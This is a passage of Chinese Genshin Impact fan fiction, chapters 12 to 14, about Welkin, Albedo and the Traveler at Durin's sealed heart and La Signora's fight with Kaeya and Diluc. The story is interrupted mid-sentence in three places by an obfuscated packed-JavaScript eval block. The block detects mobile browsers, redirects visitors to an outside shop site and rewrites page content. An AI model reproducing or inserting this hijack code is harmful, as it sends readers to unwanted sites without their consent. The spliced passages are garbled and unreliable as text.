阿贝多眉头紧皱,眠龙谷地势险峻,少有人会从此侧攀,若是有人躲在这里偷偷摸摸想要对魔龙动手,的确是个极佳的窝藏地点。阿贝多手中火把上蕴藏杜林血液力量的小篝火则是摇摇晃晃,条件反射急于向设下封印的天空岛之主辩解自己没有想出来。但苦于不能说话,只能用有限火元素凝成一个小尖,指指自己,又指指冰层和地上的赤红之石,左摇右摆地撇清关系。 阿贝多以为它太过害怕和着急,安慰性地为它又投喂了一颗赤红之石。得到赤红之石的小篝火大喜,也不吸收其中的力量,而是举着赤红之石,努力贴着冰墙上的磨损。短短几秒后,被赤红之石接触到的坚冰居然湿润起来,而小篝火举着的那块赤红之石直接消失不见。 “他们利用了杜林供以迷途之人取暖的力量来打破封印。” 维尔金怜爱地从地上挖出一颗赤红之石,又帮紧张兮兮的小篝火捏碎,安抚这个拼了命地解释、却又一句话说不出来的可怜火苗,“放心,我知道这不是你做的。” 如果是杜林自己试图冲破维尔金的封印重获新生,封印的损坏应当在里面,而不是像现在这样,厚厚的冰墙肉眼可见地往中央深处凹陷。 显然,破坏封印的人高估了杜林的求生意志,也低估了维尔金出品封印的牢靠程度。 “可是,为什么会有人想要放出杜林?”空觉得匪夷所思,在世人眼里,杜林不应该已经死得不能再死了吗? 更何况杜林在蒙德人看来就是一条无恶不作、毁灭了家园的可怕魔龙,正常人也不会觉得,一条死去近五百年的龙还会有复活的可能性。 除非想要为杜林解开封印的人,知道杜林并未完全死去,甚至还知道封印杜林心脏的地点就是眠龙谷。 “人选范围太大了,深渊的那群家伙就成天想着要一条龙做帮手。”维尔金非常无奈,元素顶点的巨龙不光威风好看,力量不俗,又极高的智慧,之前特瓦林被深渊污染恐怕也是因为他们存了把风神麾下那条美丽的蓝龙诱骗过去壮大实力兼装点门面的心思。 阿贝多则若有所思,为维尔金补充了一个他不怎么容易想到的势力:“也有可能是愚人众——自冰神神位更迭后,至冬女皇的野心扩张,就连蒙德也驻扎了不少愚人众士兵,四处搜罗各处的遗迹和秘法。他们之中说不准也有人对曾经毁灭了近半个蒙德的魔龙感兴趣。” 磨损让曾经活跃的长生种们睡的睡疯的疯,一条明面上死去但实际上还吊着半条命的巨龙诱惑力着实不小,算上一些对“黄金杰作”感兴趣的历史学家和术士们,可疑人选看上去的确范围大得没边,但细究下来,也就只有愚人众和深渊嫌疑最大。 维尔金手掌贴在冰墙之上,积年不化的冰墙所被冻结的时间陡然重新开始运转,没一会就融成了一滩水,又迅速地干涸,融入地底。洞穴内布满血红色、宛若神经血管的脉络,一如阿贝多当年误入时看到的景象。 洞窟最深处,巨龙的心脏缓慢又有力地舒张,感受到来者气息后,平缓的呼吸变得急促,心脏也如鸣雷一般鼓动起来。 空不知道该如何形容眼前所见到的一切。 整座山都好像成为了杜林心脏的腔室,巨龙的死亡像是让这片谷地活了起来,他听见了巨龙心脏跳跃时的震动,血一般温暖又怪异的环境像是巨龙在模拟自己出生前的蛋壳环境。如此怪异又美丽的一角,甚至连自己的心脏都忍不住为这巨大造物的磅礴的生命力量而欢欣鼓舞。 空甚至能猜到它从前的模样,挥动巨大的双翼,身躯庞大到甚至能够遮盖地上的小山,当它自由翱翔在高山与蓝天时,地上的人只会感受到自己的渺小。 作为杜林的极其微小的一部分,小篝火摇摇摆摆,催促着毫无震惊之色的阿贝多把自己带到唯一震撼的旅行者面前。 空看看还没有巴掌大的火苗,又看了看一脸公事公办态度的维尔金,不由得问道: “它被封印了五百年?” “想要带它走?”维尔金认真地,对明显情绪已经被杜林影响到的旅行者说道:“不可以哦。” “整座龙脊雪山已经和它的骸骨融为了一体,你若是带走它,不光时龙脊雪山会缺失大半部分山体,甚至连带着这片区域都会失去最后的供养,土地彻底死去。” “而且我想,杜林应该也不会想要离开吧。” 小篝火犹豫了一下,重重地点了点头。 渴望自由是每个生命的本性,但纵使只有关于本体的断断续续的记忆,小篝火也知道,「杜林」害死了很多人。在它破碎又不完整的记忆中,小小的城镇里,穿着好看盔甲的人类们在地上来来去去,美丽的蓝龙邀它玩耍,蒙德的主人弹奏着竖琴,那是它听过的最好听的曲子。 可这不是真的。 神明的琴音让颠倒的倒影回归成为正常的世界,但一切为时已晚。美丽的龙依旧美丽,但它恶狠狠地咬住自己的脖颈,将战场转移向无人的雪山。它从高空坠落,地上的人们在为自己失去亲人和居所哀嚎哭泣,人类面对巨龙,是如此的渺小,无畏的骑士们将枪尖刀剑对准巨龙,却连它那附着深渊污泥的鳞片都无法刺穿。黑烟烧毁了他们的家园, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726613|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去爱人的女人发出绝望的哀嚎,愤怒和痛苦形成不亚于黑龙吐息一般的火焰,烧光了那次灾难里所有活着的人的幸福。 想要杀死它的龙是正确的,阻止它的神明是正确的,所以是它做错了。哪怕杜林拥有着不弱于任何元素龙的可怕恢复力,哪怕它也拥有再度重生的力量,它也不想再醒来了。 它听见雪山附近的人忙忙碌碌,它听见头顶上有很强的神降临,它觉到有着母亲气息的白垩层来到了它的身边,又看见那个很强的神赶走了白垩层,又把自己透气的洞口封印起来。 它好想哭,但是那个很强又很凶的神折返回来,它又把眼泪憋了回去。 很强的神叹了口气,走到它的心脏旁边,坐下道: “虽然你不懂,但你的罪不会在你甘愿死去的那一瞬间画上句号。在遥远的某个百年后,因你而失去一切的人类依旧会痛苦的流浪在大地上,直至死亡也无法释怀。” 它害怕极了。 它做错了,但是却永远无法弥补。甚至自己明明已经死掉了,这个可怕的神还在说,自己还有罪孽。 “不要这么害怕,像是在欺负小朋友一样。” 很凶的神叹了口气,对它说道:“这样吧,看在你并非灾难的根源的份上,我与你做一个约定——” “直到坚冰化开之前,直到再次见到我之前,直到雪山终年不化的积雪变成小溪之前,你要庇佑每一个攀登龙脊雪山的人类。你不能让他们冻死在旅途,却也不能放任他们走到山顶,因此,我将送你将灵魂碎屑化作有形之物的秘法,允许你透过秘法用灵魂观察地上的一切……这一切之后,我以真名许诺,我将在下一次见面时,赦免你的罪孽。” “但你记住,雪山与你已融为一体。若你复生,雪山将不复存在。” 它懵懂地点头,从此连睡觉都不敢翻身。 小篝火,或者说现在已经是承载着杜林全副意识的火苗渴望地看着当年许下诺言的神明。虽然和几百年前年相比,那位变了不少,但它仍能从其身上感受到那份强大的、来自天空的力量。 从出生起便缠绕己身的罪责,终于到了赎清的一天。 “所以维尔金不打算赦免杜林的罪过吗?”空问道。 杜林和蒙德之间剪不断理还乱的一团烂账,从坎瑞亚灭国战争横跨至今。 维尔金却摇了摇头,一旁小篝火的火焰甚至都灰暗了几个度。 天空岛之主、洞悉过去于未来的神明、提瓦特的天理、名为维尔金「WELKIN」的神明阖上眼,他已窥见命运的齿轮因他的降临而缓缓转动。 “还记得我之前说过的吗。” “还有一个因魔龙杜林而彷徨的灵魂之火不曾熄灭。” 小篝火的火苗停滞了一瞬,随即又像是意识到了什么—— “横跨五百年的命运,已将她带回此地。” 12.第 12 章(修) “罗莎琳,罗莎琳。” 骑士在耳边轻轻呼唤着在长椅上浅眠的少女。少女假装没有听见爱人的呼唤,背过身,赌气般将后脑勺留给迟到的幼狼。骑士坐在她身旁,轻轻将少女搭在扶手上的头放在自己没有受伤的肩膀上。 “抱歉,我又来晚了。刚刚听巡逻的骑士说,你今天收到了来自教令院进学的邀请函,恭喜你,罗莎琳。” “你还知道来找我,”脸颊绯红的少女按捺不住情绪,挽住骑士的手臂,气恼道:“我还以为你都快忘记我在等你了,这次迟到不能就这么算了,要补偿!” “那……罗莎琳想要什么礼物?”骑士顺势环住少女,靠在长椅上。 “我要用新鲜的塞西莉亚花朵做我们婚礼上捧花,”少女的眼中闪烁着期待的星光,就像无数次在梦中预演的那样,勾勒出美好的未来,“我们要邀请教会的修女嬷嬷,她会给予我们最好的祝愿;我们要邀请最好的吟游诗人,请他唱响幸福的歌声;到那一天,我一定会是全蒙德最幸福的新娘。” “到那天,罗莎琳一定会是,全蒙德最幸福的新娘。” 骑士拥少女入怀,在洁白的额头落下一吻,温柔地将少女的鬓发别至而后。 “……等你从须弥游学回来,我们就结婚,好不好?” 少女的身体僵硬了一顺,像是预测到了骑士的下一句诺言,眼中的星光顿时熄灭。 骑士却恍若未觉,还在同怀中的少女沉浸在未来美好的幸福幸福。罗莎琳听不清爱人说了什么,她只能紧紧抱住骑士的手臂,将头埋在男人臂环,闷闷地声音传到骑士的耳边: “不要,我们明天就结婚,好不好。” 至少这一次,陪她做完一个完整的梦吧。 骑士没有回答,但声音越飘越远,身躯渐渐冰冷,刺骨的寒风唤起魔女的直觉,她睁开眼,藏镜仕女双手交叉贴在腹前,向她鞠躬。 “「女士」大人,我们驻扎在龙脊雪山境内的营地,几乎已经尽数被蒙德骑士团的人摧毁。” 罗莎琳一只手按住太阳穴,冷哼一声: “扰人清梦。” 先是西风骑士团出尔反尔驱逐至冬国的使节,后又有从大本营传来消息,女皇也同样下达撤出蒙德城在内的所有国家领地、暂停神之心夺取计划、迅速赶回至冬国的消息。 一连串的变动让大名鼎鼎的愚人众执行官「女士」心情极为不佳,但女皇做出如此不符常理的大动作,极有可能在他们看不见的地方,提瓦特大陆又发生了翻天覆地的变化。 胸腔积攒的说不清是错过亲手夺取风神神之心的懊恼,还是对自始至终都不曾露面的巴巴托斯的愤怒,那一天,所有的蒙德人眼睁睁看着,一脸凶神恶煞的执行官带着明面上的愚人众士兵尽数离开蒙德城。或许是出于私心,罗莎琳违背了女皇的命令,还留下了少数暗桩以及坚持留在蒙德城做生意的商人。 暗桩是私心,但逐利的商人们却是被贪婪糊了眼,他们恐怕还没有意识到,失去愚人众士兵的庇护,那位西风骑士团的代理团长可不会容许至冬国的商人们再横行霸道。 至于他们的死活——罗莎琳可不会再理会那些商人,她已经仁至义尽,在劝说无果后直接带领大部队先撤向璃月方向的龙脊雪山。 这是她第二个违背女皇命令的举动。 按理说,她应该向先遣队士兵发出撤退令,再一路向北返回至冬国,但就是鬼使神差般,她给自己找了一个足够说服自己和同僚的理由: 为了探寻雪山上的古国,龙脊雪山安寨的士兵数量远远多于蒙德城内,在龙脊雪山集结,才是效率最大化的选择。 但事情的发展显然超出了罗莎琳想象,西风骑士团突然完全丢下了风魔龙袭城的可能性,如同打地鼠一样把蒙德区域内的所有愚人众士兵掀了个底朝天。 很不对劲,但困于不在本土,罗莎琳根本得不到更多有用的信息。 “物资和人员伤亡情况如何。” “先遣队士兵来报,龙脊雪山主道附近和山脚下的营地悉数被毁,士兵们也折损大半,以及……” 藏镜仕女头低得更深了些:“按照行进速率计算,他们将在天黑前到达眠龙谷。” 罗莎琳抬头,久违的太阳落在雪山上,给这座魔龙的埋骨之地镀了层金光,难得的好天气,却在这个地方听不到一星半点的好消息。 “召集愚人众先遣队士兵,迅速集合,没时间联络失联在雪山的士兵了,今天就出发,离开蒙德——” 罗莎琳望向由巨龙肋骨勾起的骸骨,不知为何,她的内心仍不平静。半晌,她下定决心: “我去阻截西风骑士团,不能让它他们破坏我们的计划。” “现在才想起阻拦,是不是太晚了些?” 西风骑士团! 是敌袭! 藏镜仕女手抬起于胸前合十,消失在水镜之中,但就在藏镜仕女身形进入水镜中的同一时刻,烈焰形成的火之鸟卡准时机从视野盲区飞出,先拦腰将处于缝隙状态的仕女拦腰斩断,紧接着直朝罗莎琳面门袭来。 罗莎琳眼睛都不眨,就在火焰即将烧灼到皮肤的瞬间,邪眼发出幽蓝深邃的光芒,冰茧将她紧紧包裹住,藏镜仕女为了脱身遗留下的水元素让罗莎琳得以迅速构成极厚的冰茧。 “反应很快嘛,不愧是大名鼎鼎的愚人众执行官。” 凯亚拍了拍身上的火星吗,火之鸟所过之处,融雪尽数消逝,唯有属于愚人众执行官「女士」化作的冰茧仍伫立中央。 迪卢克没有收敛起剑势,眼神凌厉:“还没完。” 话音刚落,冰茧自内向外炸开,无数片冰棱化作寻轨的利刃向二人袭来,迪卢克大剑一横,冰棱被拦截在半空,女士单手虚握,被击落的冰棱自暗处袭来,又尽数被凯亚用剑法尽数劈碎。 迪卢克和凯亚对视一眼 “这刹那,将是永恒——” “在此,宣判——” 火鸟与冰棱相互交错,不留余地的元素爆发力量配上兄弟二人多年的默契,纵使是身经百战的愚人众也难以招架,罗莎琳不得不再次催动冰茧将自身包裹住。 但被冰棱环绕的烈焰不再如先前呆滞死板,而是有意识地向寒冰最薄弱处突进。火焰的鸟喙啄碎了坚冰的一处,冰茧逸散处强烈的冰元素风暴,但也于事无补,裂痕随着破绽处不断扩展壮大—— 环绕着冰棘的火焰鸟儿将包裹着魔女的邪冰冲破,长鸣胜利的宣言。 只是短短一瞬,下一秒,形势急转直下,黑红色的烈焰吞噬了冰荆棘,将火鸟的翅膀连带整个身体吞噬。 咀嚼,分食,同化,反扑。 烈焰又重新凝聚成高大女人的形态,黑色的毒焰侵蚀的脚步声,黑红相见的华丽桂冠遮挡住紫灰色的双眸,此刻的女士血管里流淌着炽热的岩浆,仅剩人型的表皮以维持着名为罗莎琳之人的外衣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734547|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长鞭破空袭向凯亚和迪卢克,二人分向闪开。 好消息,除开在这种紧要关头没人想起他们辛辛苦苦从蒙德城拉到龙脊雪山的违禁品以外,无人受伤。 坏消息,堆满杂物的小车燃气熊熊的烈火,混杂了冰棱和邪眼烈火二次爆炸让火焰烧得更加猛烈。 冲天的火光几乎闪爆这片区域,承担着杂物堆的小车已经彻底化成灰,但肉眼可见地能见到,那些被列入“违禁品”的东西,却依然保持着它们原本的形态,甚至连混杂邪眼力量的火焰都像是在给它们镀金。 没人继续动手。 “我说,既然是违禁品的话,应该能稍微耐烧一点吧。” 凯亚扭头示意迪卢克,“不然等回去一定会被琴团长狠狠训一顿的。” “你也在违禁品之列,难道你很耐烧?”迪卢克发出灵魂拷问,“不能指望我一个火元素神之眼的持有者救火,所以问题保留。” “的而且现在看上去,有人比我们更想救火。” “不对,不对……” 魔女踉跄几步,甚至连碎裂的冰系邪眼都顾不上拾起,被封印的记忆混杂着数百年来的经历吗,几乎要挤轧罗莎琳的大脑。无愧于曾经作为魔女行走在世上的阅历,罗莎琳看清楚烈焰之中的物件的瞬间,瞳孔剧烈收缩,恐惧生生给她泼了盆冷水让她神智清明—— “巴巴托斯的神器,M女士的童话,雪山之国的读本……” 理智和智慧重新占据上风,烈焰烧灼血管的痛楚依旧提醒着罗莎琳,这不是幻觉,这是真的。 她猛然抬起头,虽然因为眼周的血管已经被火焰烧糊,但她依稀能看见,冰系神之眼持有者眼中,那璀璨的四芒星。 “你……独眼的小子。”罗莎琳强忍痛楚,比起疑问,更像是肯定地说道,“你姓亚尔伯里奇。” 凯亚眉头低沉,没有回答。 但这无异于点头确认。 她恍然大悟,怪不得女皇会突然下达所有愚人众士兵撤回至冬国的命令,怪不得突然停止夺取其余六神的神之心计划,怪不得特瓦林突然放弃继续袭击蒙德…… 怪不得她会遇到眼前的二人,失去封印记忆和力量的邪眼后,她想起一切。 操控命运的神祗只需轻轻拨弄表盘,炎之魔女就会像迷了路的兔子一样跌入恶趣味的至高无上者的陷阱。 邪眼已经碎裂无法拼合,现在处在龙脊雪山,寒冷还能暂且压制住血管中爆沸的火焰,但只要离开这里,回到地面上,这幅残破的身躯必定在失去冰元素镇压的瞬间爆炸。 既然不让她离去,她偏要替女皇陛下一窥这至高无上者的幕后真颜, 凯亚同迪卢克对视一眼,“看来现在我们好像可以好好谈谈了,「女士」大人。” “做个交易吧,亚尔伯里奇家的小子——” 魔女扔下了她的长鞭,邪眼已经破碎,她无力镇压血液中奔腾的岩浆,但她不能顶着这幅崩坏的躯壳前行,外界的急冻压制不住狱焰,但神明的注视可以。 她需要冰系的神之眼压制住狱焰。 “把你的神之眼借给我,而作为交换——” 罗莎琳将手伸向火焰之中,捞起竖琴与读本,以及一个碎掉的红色邪眼。她将后者放在地面上,以免被她身上的高温损毁,或许是知道这件事自己的终点,她的心久违地得到了平静。 “我向你们保证,你们将平安无事地回到地上。” 13.第 13 章 迪卢克拦在凯亚身前,如守护幼崽的鹰隼,像是听不懂执行官的言外之意一样,语气冷漠,“我不觉得女士大人现在的状态足以同时拦下我们二人。” 只要有迪卢克和凯亚之中任何一个人能活着下山,把消息送回蒙德城,远在至冬的冰女皇保不住这位色厉内荏的愚人众执行官。 迪卢克不相信愚人众的家伙会突然大发善心,女士邪眼被打破后的反应只能够说明,琴的预料和决定是正确的,这些看上去跟小孩子过家家一样的童话故事和仿古竖琴,的确大有来头。 他的心中甚至出现了一个不怎么美妙的猜想,能让愚人众如此失态的“危险品”,恐怕又和坎瑞亚也脱不了干系…… 碎裂的冰系邪眼跌在因方才激烈交锋而融化的黑土上,和大部分邪眼持有者不同,邪眼封印了罗莎琳体内失控的火元素力量,虽然也让她无法将实力全数发挥,但这份限制体内暴躁火元素力量的枷锁也让她得以存活至今。魔女以凡人之躯承受蛮横力量的代价,便是将自身化作承载火元素力量的容器,直至这副残破的躯壳因战斗而彻底碎裂。 淤积多时的狱火不会怜悯她的宿主,在邪眼被击碎的那一刻,炎之魔女的生命已经进入了倒计时,福祸相依,往昔那些只能够从梦境中偷来的梦幻泡影,也随着枷锁的解除,真真正正地返回到她的脑海中。 她想起了爱人的面孔,也想起了全部,但她的生命已经彻底步入倒计时。与其拖着这副残躯苟且偷生,倒不如了却自己多年来的仇恨,顺带还个人情。 罗莎琳虚握着书本和巴巴托斯的神器,抬头看向龙脊雪山直插云霄的山顶,在她还不是魔女时,传说山顶有神明降临,可巴巴托斯总是沉睡,要么就根本不在蒙德,蒙德人又能求谁呢? 巴巴托斯难道不知道,放任坎瑞亚遗孤和充满禁忌的书本放在距离天空岛最近的地方的危险所在么? 尖锐的指甲几乎嵌入到如火山岩表面的手掌心,表皮溢出异常高温的岩浆。 莱艮芬德的独子不能死,晨曦骑士的血脉不能断绝在此。 亚尔伯里奇的孩子也不能死,愚者救了她一命,让她得以在窥见女皇高远的理想乡后重新拥有活下去的动力,单凭这份恩情,她就不能放任摄政王的后代死在距离天空岛最近的地方。 凯亚盯着魔女杂糅着痛苦与纠结的眸子,“这些违禁品究竟是什么?为什么要带这些东西离开蒙德城?为什么你要我的神之眼?如果要想他人索要某个重要的东西,至少要给出与之同等相配的条件吧?” “你们要去的眠龙谷,是魔龙杜林的沉眠之所。而M女士,是创造出魔龙杜林的‘黄金’的好友。” 魔女缓缓行走在雪道,一手裙摆摇曳的狱焰烧灼地上的积雪,所过之处,烈火焚烧融雪,冰晶化作水流。她走向前,伸出布满流淌火焰的右臂,血顺着手臂,从指尖滴落,将雪毯灼出一个大洞,露出又一颗如血般妖异的赤红之石。 “巴巴托斯向天空岛的主人卑躬屈膝,为了撇清关系,他想要用魔龙的血,毁掉魔女们的杰作。” 眠龙谷的龙将一切尽收眼底。 赤红之石是绝佳的施术媒介,因此,神明同样将西风的骑士同至冬使节的争斗尽收于眼底,顺便听了一场酣畅淋漓的妖魔化巴巴托斯和他维尔金本人的震撼发言。 维尔金被震得久久不能言语,天空岛的主人很少被一个人类震撼到彻底失声,但炎之魔女做到了。 扪心自问,他难道是什么很不讲道理的神吗? 说这话的人一定是维系者的大嘴巴挨少了,维尔金心里一阵委屈,同时心里暗下决心,下次再有人偷偷摸摸违规则,他一定不睁着眼闭只眼,一定要直接摇来维系者秉公执法,让这群不识好人心的家伙们体验下真真正正的无情的执法天钉。 维尔金大手一挥,在好脾气的神明也忍不住当面魔女的童话和神明的宝具发出璀璨的光芒,百年不曾发它原本光彩的龙脊雪山从峡谷深处传来隆隆的龙吟。 “无关人员还请暂离——快把他们丢到我看不见的地方去。” 快把那个坎瑞亚人带走! 空耸耸肩,推着两个处于懵逼状态的大男人远离维尔金的视线,苦口婆心劝导: “我们家维尔金已经很努力地在解决民事纠纷了,我们这些可怜弱小又无助的人类,还是先等很能活的长生种们解决私仇吧。” “旅行者?”凯亚一脸摸不着头脑,“你们怎么在这里?” 迪卢克趁机回头又迅速被空掰正,只能依稀看到一个金色的背影。 晨曦酒庄的主人不置可否: “事已至此,也只能先欣赏眼前的一出好戏了。” 时间倒回十分钟前。 终于理顺思路的维尔金眼睛已经失去高光: “难道全蒙德只有龙脊雪山能藏东西吗?” “其实正常逻辑下,藏在龙脊雪山是最优解。”阿贝多理性分析,然后狠狠补刀,“因为大部分时候,你都在沉睡。” 所谓灯下黑就是如此,只可惜这次巴巴托斯失策了。 维尔金握住空的双手,空洞的眼神中重新充满了不靠谱但是义不容辞的坚定: “拜托了空,快用你那来自域外还没有元素力的双手把我的眼睛挖下来。” 他不能再看下去了,再看下去在场的所有人都得死。 “可是万一之后安不回去了该怎么办。”空也一个头两个大,“七神里有很擅长医术的吗,要不你先用神之心联系一下他们给你准备一双义眼?” 阿贝多看着一团乱麻忍不住抱着痛哭的二人,举着小篝火无语凝噎: “直接忍一忍,先背过身不看不就行了。” 看来白垩之子的智慧确实比悬挂在天空岛时间过长而缺氧的大脑好用。 回忆结束,维尔金轻咳两声,“白垩之子,还劳烦你将不该出现于世间的记录带离此地。” 这说的自然是魔女的故事书和丢三落四巴巴托斯的竖琴武器。 神明背对着罗莎琳,黄金的杰作向魔女伸出手,罗莎琳紧紧抱住怀中的读本,死死抿住嘴唇,忿恨地看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738259|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的白垩之子。 阿贝多叹了口气,非常善意地提醒: “就算至冬女皇亲临也打不过他,别挣扎了。” “叛徒。”罗莎琳死死盯着他,嘲讽道,“为了给你那肮脏低贱的兄弟鸣不平,居然连曾向自己国家举起屠刀神都甘于归服,白垩,你黄金比更加令人作呕。” 但识时务还是让她不情不愿地把东西交给阿贝多。 事实上,让因为仇恨盘桓在世间不愿离去的灵魂彻底放下执念最简单的办法,就是让她亲手手刃自己的仇人。 作为不知道活了多少个千年的神明,维尔金自然不会像那些过于年轻的神明一样,寄希望于受害人的自我开解,错就是错,对就是对,古璃月有云,杀人偿命欠债还钱,维尔金本人也十分赞同这一形式。 因此,他给出来的方案也十分简单粗暴: “如果炎之魔女决定毁灭你的心脏,你将会失去一切复活的可能性,但你的灵魂将得到宽恕,我让你的灵魂继续附着于死物,或者是寄存于某件拥有神明力量的物件上。而如果她选择放你一马,你将会不被禁制束缚在她身边,直到她死去,你的灵魂将拥有彻底的自由。” “我只是行使宽恕之职责的神明,并非拥有宽恕权力的当事人——” 出乎阿贝多意料,小篝火点点头。 杀人偿命,是最原始的自然法则,哪怕是不完整的生命,依旧明白它的正确性。 维尔金转过身。 他没有披着神袍,金发随意地搭在一边,唯有那双眸子,和罗莎琳曾经见过的女皇的眸子一样,散发着独属于天空岛之主、尘世最高之神的威压。 “人类,你的灵魂在哭泣。” 维尔金缓缓走下阶梯,来自此世之主的注视让她身上躁动不安的火元素偃旗息鼓,不敢在天理面前放肆,这是罗莎琳百年来第一次,在没有邪眼的压制下,被称之为“人类”。 她不敢直视那对金色的眸子,只能慌张得像是一个无知少女那样低下头。 “我能听见你胸中燃起的熊熊怒火。”维尔金继续说道, “你想要给风神一个教训,正是因为他的迟到才让魔龙杜林在百年前的蒙德城兴风作浪。”天理轻描淡写地揭穿她心中的想法,随即又像是不解。 “可你的爱人是巴巴托斯麾下骑士团的副团长,在神明无暇顾及时,为蒙德而战是他的责任。袭击蒙德的是杜林,但它已经葬身于此地;创造杜林的黄金,你却熟视无睹;我很高兴看到你能将刀锋对准深渊的魔物,但——” “我希望你告诉我,为何将怒火倾泄于巴巴托斯身上?作为报偿,我将给予你复仇的机会。” 神明顿了顿。 “向杀死你爱人的龙,复仇的机会。” 她恨巴巴托斯总是陷于沉睡,她恨黄金制造出来的魔物,她也很这该死不公的命运,剥夺了她向仇人复仇、亲手杀死杀害爱人的魔龙的机会。 一个答案而已。 罗莎琳·克鲁兹希卡·洛厄法特绝不会放弃这个机会。 14.第 14 章 神明是如此的无情,以至于让受害者亲手撕开自己血淋淋的伤口后,又让她不得不面对这个痛苦又残忍的事实。 创造杜林的人是“黄金”莱茵多特,她创造腐殖层是为了绊住七神的步伐,延缓自己国家毁灭的步伐。杜林有错吗?有的,但黄金才是罪魁祸首,杜林只是最大最显眼的帮凶。 巴巴托斯和东风之龙将杜林封印在龙脊雪山之下;鲁斯坦作为西风骑士团副团长为蒙德战死;她恨的神和爱的人都没有错,他们拯救了蒙德,他们都是英雄。 可回到蒙德后,杜林已死,“黄金”不知所踪,游荡在平原的魔物们生生不息。 神明做不到在一切发生之前就将灾难的火种统统熄灭,少女找不到创造祸源的魔女,将心中的额恨意投射向同源的魔物,以及在灾难来临后才出现的神明。 为什么不早一点? 这几百年来,她都把这句愤怒的斥责藏在心底。 但今天,罗莎琳从未如此坦然地承认:“巴巴托斯没有错。” 一切的一切事受害者向无辜者的宣泄。她突然发觉,揭发自己内心的不堪,事实上承认自己的懦弱和无能比想象得要轻松,甚至胸中淤积的愤懑都随着这句话而变得轻飘飘,好像愤怒成为了一片无根的浮萍,再也找不到支撑。 神明点点头,看不出魔女心中的五味杂陈。 “杜林的心脏,就交由你处置了。” 扔下这句话后,魔女看见高傲的神明掸走衣袍上的宝石碎屑后走下石阶,像只是为这个毫无意义的答案而等待,又在得到这个毫无趣味的答案后随便施舍丰厚的赏赐。 罗莎琳不可置信:“您是说,任由我处置?” 洞窟并不大,甚至因为其颇为类似于回声室的构造,就连洞外的四人也听得清清楚楚。 “原来「女士」还有这么一段过去,”凯亚若有所思,那先前罗莎琳见到那些违禁品后突然360转弯的态度就十分耐人寻味了。 知晓一切的迪卢克眉头紧锁,他没有忘那天琴交代的一切,如果说他们大费周章地将那些东西带到龙脊雪山是为了掩埋它们,使得不被那个被旅行者称之为“维尔金”的人察觉…… 那他们的计划,已经彻彻底底失败了。 “放心啦,维尔金脾气很好的。”空安慰道,“就算你们祖上可能跟维尔金有仇,他也不会对你们计较太多的。” 别的不说,对于维尔金这种脾气好的要命的大好人而言,就算是仇人的孩子,也只是会忍不住训斥几句吧?越想越觉得维尔金好脾气的空还贴心地为凯亚和迪卢克举了如下几个例子: “我们进入蒙德城之前正好撞上了温迪,也就是巴巴托斯在和他的眷属不务正业,维尔金只是随便念叨了他们几句,然后让特瓦林把我们送到蒙德城附近就不再追究了。” “还有还有,我们之所以会来龙脊雪山,也是因为维尔金不想陪着你们搞大扫除。” 说道这里,空还不忘吐槽一句伙伴的懒惰,“结果又撞到你们收拾完后的运送这些东西上来,把他弄得都想自戳双目了。” 言尽此处,旅行者再次为自己的好伙伴维尔金辩白:“虽然维尔金很能打,职位也很高,看上去可能有点凶,但是你们要信我,他真的很好说话的!” 试问,提瓦特又有哪个长生种能够随意训责风神,又以天空换作自己的名? 凯亚顿时感觉到脊背发凉。 洞外挨冻的人心惊胆战,洞内认认真真处理这桩陈年旧事的维尔金摸不着头脑。 维尔金驻足,金色的眸子中充满着不解。 直到这时,维尔金才终于显神与人的思维上的区别。罗莎琳不会觉得天空岛的主人如此大度,而维尔金只希望被愤怒所困的少女能够达成所愿。 维尔金当然无所谓,反正杜林本人也认可了这样的处理方,不论罗莎琳坚持自己最初的想法手刃仇龙,抑或是放这条龙一条生路,一切都与维尔金无关。这是他们自己的意志,不需要天空岛多加置噱。 但无需多管不代表不需要留痕,维尔金思索了半天,终于想到让魔女不那么疑神疑鬼的办法。 “你们自行处理自己的恩怨就好,但是要留下文字记录。” 维尔金从衣袖中掏出羊皮卷轴,放到罗莎琳手中,对已经不知所措的魔女认真说道,“来,左上角填姓名国别,标题花体正文斜体居中,右下落款填维尔金,日期不用填,写一下反馈报告——玛尔巴斯应该手把手教过你们任务报告的基本格式吧?按那个来就好。” 魔女地眼神充满迷茫:“这是?” 这是维尔金退休报告的重要组成部分,用以向严肃的维系者证明他真的在很用心的在地上调研,而不是公费旅游。 于是外包任务的黑心天理语焉不详:“这是能决定你们未来的文字。”主要是用作决定天理本人退休的未来。 罗莎琳和杜林的心脏同时漏了一拍。 能被天理称之为足以决定他们未来的文字,必须严阵以待。 